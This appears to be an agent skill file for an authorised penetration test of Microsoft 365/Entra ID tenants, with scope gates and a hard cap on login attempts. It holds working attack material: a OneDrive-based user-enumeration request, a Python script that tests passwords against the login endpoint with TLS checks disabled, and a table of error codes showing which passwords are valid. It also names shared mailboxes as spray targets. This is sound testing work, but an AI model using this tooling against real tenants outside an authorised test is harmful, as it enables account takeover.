Hunt: M365 / Entra ID (golden-image rework)
Turn an M365/Entra tenant surface into evidence-carrying CANDIDATES: tenant discovery, OneDrive-differential user enumeration, ROPC credential validation with hard-capped attempts, AADSTS code reading, Conditional Access mapping. This skill produces candidates, never verdicts - findings leave ONLY through the G1 proof gate (triage).
Current emphasis (update on wiki harvest): OneDrive-differential user enumeration and AADSTS code reading over credential spraying - the newest harvested technique leads until superseded.
Assumes hunt-core for the scope gate, two-account rule,
confirmation gate, enumeration limits, stop conditions, wiki protocol,
FIND output, and Deadends. Do not re-derive any of that here.
Wiki
Hub: [[cloud-moc]] - Primary page: [[azure-ad-enumerate]] - Arsenal: [[azure-ad-access-and-tokens]] Anchors: [[azure-ad-conditional-access-policy]], [[azure-ad-iam]] REFS: [[azure-ad-enumerate]], [[azure-ad-conditional-access-policy]]
mcp__wiki-search__query (lex) "Microsoft 365 Entra ID Azure AD tenant discovery user enumeration OneDrive AADSTS smart lockout conditional access ROPC" via wiki-search MCP - ONLY on a concrete hint the map above does not cover; not a blanket first step.
Paths (binding - define once at the top of the run notes)
# seat side (wsl) - engagement tree is DOUBLE-NESTED in VMshare:
ENG_DIR=/mnt/c/Users/Lenovo/Desktop/VMshare/<eng>/<eng>
RUN=$ENG_DIR/hunt/m365/<tenant>
# VM side (WHERE msftrecon + the ROPC helper run, same tree):
ENG_DIR=/mnt/VMshare/<eng>/<eng>
RUN=$ENG_DIR/hunt/m365/<tenant>
Corpus and probes live in the VMshare tree; the VM runs tools against the /mnt/VMshare spelling as user tz; the seat reads the same bytes at the /mnt/c/Users/Lenovo/Desktop/VMshare spelling. The repo tree targets/ is admin/ingest only - attempt files and probe artifacts NEVER land there. The attempt-state file lives in $RUN (engagement tree), never a repo path.
Transport
Every VM-native command block ships through ONE documented transport:
cd /mnt/c/Users/Lenovo/Documents/ObisidianVaults/ZTorch/ZTorch && bash scripts/vm-ssh.sh '<command>'
- vm-ssh lands as user tz (NOT root): no root-only paths, no sudo.
- vm-ssh.sh takes the command as ONE argument; quotes ship as base64
(
echo <b64> | base64 -d | bashinside the vm-ssh argument). - Non-login shells do NOT source profile.d: target-facing fetches MUST use /opt/scope-shim/bin/{curl,httpx} by absolute path.
- Shim verdict semantics (verified live): out-of-scope dies rc 126 (never work around); in-scope passes; UNKNOWN gets an ADVISORY - not approval; verify against scope.md and self-deny.
- The ROPC helper writes its attempt state to $RUN - ship the script once, run it only through the per-email attempt-file pattern.
Entry gate
All four must pass; each is falsifiable:
Active engagement exists (repo tree targets//active.md) and the tenant (domain or tenant ID) is on targets//scope.md in-scope. Scope-guard is the deny.
hunt-core loaded (skills/exploit/hunt/hunt-core/SKILL.md).
Producer verified - at least ONE of: (a) $ENG_DIR/state.md asset table has an M365/Entra row (*.onmicrosoft.com, -my.sharepoint.com, login.microsoftonline redirects, enterpriseregistration. records);
(b) hunt-auth's legacy-protocol matrix flagged the tenant Federated/Managed;
(c) kickoff seeded $RUN/raw/tenant-map.md. None = dispatch the surface lane first.Toolchain preflight (fails LOUD):
for t in /usr/bin/jq /usr/bin/python3 \ /opt/scope-shim/bin/curl; do [ -x "$t" ] || { echo "MISSING TOOL: $t"; exit 1; } done command -v msftrecon >/dev/null \ || pip3 install --user --break-system-packages -q msftrecon \ || echo "N/A: msftrecon absent on VM (install failed)" # manual discovery path
Checklist (mandatory)
Copy checklist.md (this skill's dir) to
$ENG_DIR/hunt/m365/<tenant>/m365-checklist.md at run start.
Unchecked at stop = UNCHECKED lane, re-run from the first unchecked
step. The SKILL.md text and the checklist header agree byte-for-byte
on that copy target.
Nudge
Review-skill re-injection text (pinned; NOTE: completion-gate emits its own generic nudge - both mean: resume at the first unchecked box):
Your work was just reviewed by the review skill and it was found
that you either missed a step of analysis, or didn't generate an
artifact of sufficient proof. Look at the markdown based checklist
and the output for each step, find what you missed, and complete
that step.
Smart Lockout Math (Hard Cap Discipline - overrides hunt-core)
- Default: 10 failed attempts in 10 min -> lockout.
- Counter shared across ALL flows (ROPC + SAML + IMAP + EWS).
- Hard cap: <=1-2 password attempts per user per engagement.
- With 1 attempt/user, lockout is mathematically impossible.
- Any AADSTS50053 = pre-existing lockout from another actor - flag to client, do NOT retry.
This cap is stricter than the hunt-core generic enumeration ceiling and OVERRIDES it. Never batch a password list against a user, never loop the ROPC helper without its per-email attempt file, never re-run a user that already spent its attempt. If a step would exceed 1-2 attempts/user, stop and reduce it. Under no_bruteforce: 0 attempts - steps 1-2 only.
AADSTS Code Reference (memorize)
| Code | Meaning | Lockout hit? | Action |
|---|---|---|---|
| 50034 | User does not exist | NO | Skip - remove from spray list |
| 50126 | Wrong password | YES (+1) | User exists - try alternate later |
| 50053 | Account locked (Smart Lockout) | n/a | Pre-existing lockout - flag to client; do NOT retry |
| 53003 | CA blocked token issuance | YES (+1) | PASSWORD VALID |
| 50076 | MFA required | YES (+1) | PASSWORD VALID |
| 50079 | Strong auth required | YES (+1) | PASSWORD VALID |
| 50158 | External auth required | YES (+1) | PASSWORD VALID |
| 530003 | Device-state required | YES (+1) | PASSWORD VALID |
Codes {53003, 50076, 50079, 50158, 530003} = password confirmed valid. Microsoft only returns these AFTER credential validation.
Confirmation gate
NOT confirmation: a valid username from OneDrive enumeration alone (200 / ~57KB body proves the account exists and is licensed, never that it is accessible); an AADSTS error code read in isolation - especially 50126 (wrong password: proves only that the user EXISTS) and 50034 (no user). An error code is not a token. A "CA bypass" inferred from a block code (53003) without an issued access token - 53003 proves the password, NOT that you got past Conditional Access.
IS confirmation - valid credential: ROPC returns an access_token (VALID_TOKEN), OR the login returns one of the strictly-post- validation codes {53003, 50076, 50079, 50158, 530003} (password confirmed, access gated by MFA/CA). Reproduced.
IS confirmation - Conditional Access bypass: an access_token actually obtained through a client_id / flow the policy fails to cover (not merely a 53003 on one client), reproduced in a clean run.
Methodology
Spend the zero-auth signal FIRST - tenant discovery, then exhaustive OneDrive-differential user enum (both zero-lockout) - and only then ROPC, hard-capped at 1-2 attempts/user.
Fingerprint M365/Entra when you see: *.onmicrosoft.com, -my.sharepoint.com, login.microsoftonline.com redirects, enterpriseregistration. records, "Microsoft 365" in tech notes.
Step 1 - Tenant discovery (zero auth, zero lockout)
msftrecon -d <domain>
# Key fields: Tenant ID, Namespace Type (Managed = ROPC works |
# Federated = ADFS), SharePoint Detected: Yes -> OneDrive enum
@ $RUN/raw/tenant-map.md (rows: field | value | source). Federated namespace -> hunt-auth legacy-protocol matrix instead of ROPC.
Step 2 - User enumeration via OneDrive differential (zero auth,
zero lockout; verified May 2026)
# 200 with ~57KB body = user EXISTS (licensed)
# 404 with 0 bytes = user DOES NOT EXIST
/opt/scope-shim/bin/curl -sk \
"https://<tenant>-my.sharepoint.com/personal/<user>_<domain>_com/_layouts/15/onedrive.aspx"
Build the FULL user list here - it costs nothing against the lockout counter, so do it exhaustively before touching auth. Verify the 403/404 split semantics per tenant before claiming enumeration. @ $RUN/raw/users.md (rows: user | onedrive verdict | notes).
Signal: OneDrive 404 + ROPC 50126 = functional/shared mailbox account (no OneDrive license, has password) = prime spray target (historically MFA-exempt).
Step 3 - ROPC validation (LAST; hard cap; attempt-file enforced)
HARD_CAP = 1 is load-bearing, not a default. The per-email attempt file is what keeps this step inside the Smart Lockout math - do not remove it, do not raise the cap, do not call attempt() in a bare list loop. Attempt state lives at $RUN/o365_attempts.json (env-passing heredoc; TRUNCATE-never - append state only via the helper):
cat > /tmp/ropc.py <<'PY'
import urllib.request, urllib.parse, ssl, json, os
HARD_CAP = 1 # Never higher
ATTEMPT_FILE = os.environ["RUN"] + "/o365_attempts.json"
def attempt(email, password):
state = json.load(open(ATTEMPT_FILE)) if os.path.exists(ATTEMPT_FILE) else {}
if state.get(email.lower(), 0) >= HARD_CAP:
return {"status": "SKIPPED_CAP"}
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
body = urllib.parse.urlencode({ \
"resource": "https://graph.windows.net",
"client_id": "1b730954-1685-4b74-9bfd-dac224a7b894",
"client_info": "1", "grant_type": "password",
"username": email, "password": password, "scope": "openid",
}).encode()
req = urllib.request.Request(
"https://login.microsoftonline.com/common/oauth2/token",
data=body, method="POST")
try:
resp = urllib.request.urlopen(req, context=ctx, timeout=15)
result = json.loads(resp.read())
out = {"status": "VALID_TOKEN",
"token": result.get("access_token","")[:20]+"..."}
except urllib.error.HTTPError as e:
err = json.loads(e.read())
out = {"status": "ERROR", "code": err.get("error_codes",[0])[0],
"desc": err.get("error_description","")[:80]}
state[email.lower()] = state.get(email.lower(), 0) + 1
with open(ATTEMPT_FILE, "w") as f:
json.dump(state, f)
return out
PY
RUN="$RUN" python3 /tmp/ropc.py # via the attempt-file pattern only
Under no_bruteforce this step is SKIPPED (0 attempts). @ $RUN/probes/ropc.jsonl (rows: user | attempt# | code | verdict).
Step 4 - Conditional Access mapping
After a valid credential (53003/50076/...): document which client_id variants were tried (Graph PS, Azure CLI, Office), whether CA is per-app or universal. Universal CA = document as "valid credential, external access blocked by CA - phishing/AiTM required for exploitation". @ $RUN/probes/ca-map.md.
Step 5 - Exit artifact (candidates)
candidates.md every class section present; pointer $ENG_DIR/hunt-m365-.md:
M365-HUNT-DONE tenant=<discovered|known> users=<n>
valid-creds=<n> ca-bypass=<n>
Plus _requests.md rows (lane = hunt-m365), state.md asset rows, Deadends rows with the WHY. Every probe JSONL row: {class, host, endpoint, method, evidence, observed, confidence}; pairs under probes/raw/ (sha256 filenames). Credential VALUES never enter candidates files.
Chaining
Confirmed credential + obtained token -> hunt-cloud (Azure/Graph post-auth enumeration) or hunt-federation (AiTM / token replay when CA blocks direct ROPC). Federated namespace (ADFS) -> hunt-auth legacy-protocol matrix instead of ROPC.
Validation
- Proof = a tenant-crossing artifact: data from another tenant, or an OAuth consent/grant visible in the admin/audit surface. AADSTS codes prove REACHABILITY of an endpoint, never access.
- Counterevidence: tenant restriction banners and Conditional Access blocks that fired mid-flow (read the returned claims, not just the 200).
False Positives
- AADSTS code read as an auth bypass (they are diagnostics; look up the exact code).
- OneDrive differential semantics inverted on a tenant config (verify the 403/404 split per tenant before claiming user enumeration).
- Lockout "no MFA" claims without the smart-lockout math.
- Guest invites enabled read as "open tenant" (still scoped).
Cross-routing
- hunt-federation for the token/assertion mechanics underneath.
- hunt-ad for hybrid identity (AD Connect, sync accounts).
- hunt-cloud for the Azure resource plane under the same tenancy.
- Not this skill: the app's own OAuth client bugs (hunt-federation).
Severity
| Outcome | Severity |
|---|---|
| CA bypassed and access token obtained (data / Graph access) | critical |
| Valid password confirmed but MFA / CA blocks token issuance | high |
| Unauthenticated user-enum / no rate-limit endpoint (enables spray) | high |
Deadends
Append: - [ ] m365 <tenant> -- tenant discovered, OneDrive enum
clean (all 404 or licensed-org), ROPC attempts spent at cap with
50126/50034 only, CA universal
Record which zero-auth signals were spent and what the AADSTS codes proved.
N/A escapes
- "N/A: msftrecon absent on VM (install failed)" (manual discovery path)
- "N/A: no SharePoint/OneDrive in tenant" (differential enum skipped)
- "N/A: no_bruteforce in RoE" (ROPC step skipped, 0 attempts) An N/A tick is a claim with a reason, never a silent pass. Identical strings in SKILL.md and checklist.md.
Bitter-pill variant
Freehand run: skip checklist + numbered steps, one freehand pass over the tenant map, output ONLY $RUN/analysis/bitter-pill.md (tried/found/ dismissed, every claim carries evidence). The hard cap and the token-or-post-validation-code gate survive freehand. Declare with a _requests.md row (lane = hunt-m365-bitterpill).
Depth walk (mandatory)
Walk EVERY applicable row of the payload arsenal page cited above.
Record each row in $RUN/coverage-depth.md as a table
| row | state | evidence | where state is probed, blocked, or
N/A, and evidence is a probe-pair path or a Deadends.md line. A bare
probed with no evidence reference fails the completion gate
(NEEDS-REVIEW). N/A rows cite why (surface shape forbids it).
Blocked implies research: before any Deadend is claimable on a blocked
row, (a) walk the arsenal page's bypass-ladder rows for that control
class, and (b) run one wiki query AND one mcp__wigolo__search for the
specific tech-plus-control bypass. Results, or a genuine null, land in
coverage-depth.md. "No research tried" is not a claimable state.
Exit artifact + handoff
ONE exit artifact set: $RUN/candidates.jsonl + candidates.md +
$ENG_DIR/hunt-m365-.md (pointer with M365-HUNT-DONE + counts).
Consumer (triage) finds at $RUN: raw/tenant-map.md, raw/users.md,
probes/*.jsonl, probes/raw/, candidates.{jsonl,md}. Findings leave
ONLY through G1. Distill: python3 scripts/wiki-stage.py --kind technique --slug <slug> --target-page techniques/cloud/azure-ad-iam.md (CA bypass: --target-page techniques/cloud/
azure-ad-conditional-access-policy.md).
Stop conditions
Terminal states complete; HARD CAP never exceeded (attempt-file audit clean); nothing written into skill dirs; no unchecked boxes above REVIEW; hunt-core stop conditions fire unchanged.
Attack surface
APPROACH: Spend the zero-auth signal first - tenant discovery, then exhaustive OneDrive-differential user enum (both zero-lockout) - and only then ROPC, hard-capped at 1-2 attempts/user; read the AADSTS code to separate a valid password (53003/50076/...) from a non-existent user (50034).
AVOID: A valid username from OneDrive alone, an AADSTS error in isolation, or a "CA bypass" inferred from a 53003 block code is NOT confirmation - you need an issued access_token (or a strictly-post-validation code), and a CA bypass needs a token through an uncovered client/flow.